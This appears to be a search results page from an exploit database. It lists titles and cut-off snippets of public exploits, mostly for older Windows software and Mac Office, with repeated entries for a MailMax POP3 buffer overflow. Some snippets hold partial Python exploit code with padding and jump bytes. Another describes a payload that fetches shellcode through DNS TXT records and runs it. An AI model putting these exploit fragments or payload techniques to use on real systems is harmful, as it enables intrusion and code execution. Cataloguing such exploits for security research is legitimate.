7573 matches found
Samsung NET-i Viewer Active-X SEH Overwrite
' Exploit Title: SAMSUNG NET-i viewer ActiveX SEH Overwrite ' Date: April 30 2012 ' Author: Blake ' Software Link: http://www.samsungsecurity.com/product/productview.asp?idx=5828 ' Version: 1.37 ' Tested on: Windows XP SP3 with IE6 running on Virtualbox ' RequestScreenOptimization in...
CPE17 Autorun Killer 1.7.1 Buffer Overflow
CPE17 Autorun Killer 'CPE17 Autorun Killer %q readfile function is vulnerable it can be overflow , 'Author' = 'Xelenonz' , 'Version' = '0.1', 'Payload' = 'EncoderType' = Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' = 'BufferRegister'='ECX', , 'DefaultOptions' = 'DisablePayloadHandler' =...
RTF Pfragments exploit for MAC office 2008
No description provided by source. RTF Pfragments exploit for MAC office 2008 Author Abhishek Lyall - abhilyallatgmaildotcom, infoataslitsecuritydotcom Advanced Hacking Trainings - http://training.aslitsecurity.com Web - http://www.aslitsecurity.com/ Blog - http://www.aslitsecurity.blogspot.com/...
Microsoft Windows - afd.sys Local Kernel (PoC) (MS11-046)
Microsoft Windows - afd.sys Local Kernel PoC MS11-046 / MS11-046 Was a Zero day found in the wild , reported to MS by Steven Adair from the Shadowserver Foundation and Chris S . Ronnie Johndas wrote the writeup dissecting a malware with this exploit . I Rahul Sasifb1h2s just made the POC exploit...
Microsoft Windows - 'afd.sys' Local Kernel (PoC) (MS11-046)
/ MS11-046 Was a Zero day found in the wild , reported to MS by Steven Adair from the Shadowserver Foundation and Chris S . Ronnie Johndas wrote the writeup dissecting a malware with this exploit . I Rahul Sasifb1h2s just made the POC exploit available . Reference: ms8-66, ms6-49 Too lazy to add...
MS11-046 Afd.sys Proof of Concept
Exploit for windows platform in category dos / poc / MS11-046 Was a Zero day found in the wild , reported to MS by Steven Adair from the Shadowserver Foundation and Chris S . Ronnie Johndas wrote the writeup dissecting a malware with this exploit . I Rahul Sasifb1h2s just made the POC exploit...
Microsoft Office 2008 SP0 (Mac) - RTF pFragments
RTF Pfragments exploit for MAC office 2008 Author Abhishek Lyall - abhilyallatgmaildotcom, infoataslitsecuritydotcom Advanced Hacking Trainings - http://training.aslitsecurity.com Web - http://www.aslitsecurity.com/ Blog - http://www.aslitsecurity.blogspot.com/ Office 2007 for MC SP 0...
CastRipper 2.9.6 (.pls)/(wvx) buffer overflow Exploit
Exploit for windows platform in category local exploits Exploit Title: CastRipper 2.9.6 .pls/wvx buffer overflow Exploit Author: Caddy-Dz Facebook Page: http://www.facebook.com/ALG.Cyber.Army E-mail: islambabiaathotmail.com Vendor: http://mini-stream.net/castripper/ Category:: Local Exploits Test...
Mini-Stream RM-MP3 Converter 3.1.2.2 Buffer Overflow
Exploit Title : Mini-stream RM-MP3 Converter� V 3.1.2.2 Local Buffer OverFlow Author : SkY-NeT SySteMs Software Link : http://mini-stream.net/rm-to-mp3-converter/download/ Version : 3.1.2.2 Tested on : Xp Sp 2 Category : Local Code : Python Email : [email protected] WebSite :...
Mini-stream RM-MP3 Converter 3.1.2.2 - Local Buffer Overflow
Exploit Title : Mini-stream RM-MP3 Converter� V 3.1.2.2 Local Buffer OverFlow Author : SkY-NeT SySteMs Software Link : http://mini-stream.net/rm-to-mp3-converter/download/ Version : 3.1.2.2 Tested on : Xp Sp 2 Category : Local Code : Python Email : [email protected] WebSite :...
MailMax 4.6 POP3 Buffer Overflow
!/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439 padding buffer += "\xEB\x06\x90\x90" Short jmp 6 bytes buffe...
MailMax <=v4.6 POP3 "USER" Remote Buffer Overflow Exploit
Exploit for windows platform in category remote exploits !/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439...
MailMax 4.6 - POP3 USER Remote Buffer Overflow
MailMax 4.6 - POP3 USER Remote Buffer Overflow !/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439 padding buffe...
MailMax 4.6 - POP3 'USER' Remote Buffer Overflow
!/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439 padding buffer += "\xEB\x06\x90\x90" Short jmp 6 bytes buffe...
DNS TXT Record Payload Download and Execution
Performs a TXT query against a series of DNS records and executes the returned x86 shellcode. The DNSZONE option is used as the base name to iterate over. The payload will first request the TXT contents of the a hostname, followed by b, then c, etc. until there are no more records. For each recor...
Scada Modbus Report Slave ID
There are cases in which certain traffic, although not intended for malicious use, is very unsafe, since it may transfer shellcode which is undetectable by IPS...
Web servers multiple IMAP initial connection requests denial of service
A denial of service vulnerability has been reported in all web servers. The vulnerability is due to the server's inability to handle multiple incoming IMAP requests within a short period of time. Remote attackers may exploit this issue by rapidly sending a large number of IMAP requests to the...
Scada Modbus Read Request To PLC
There are cases in which certain traffic, although not intended for malicious use, is very unsafe, since it may transfer shellcode which is undetectable by IPS...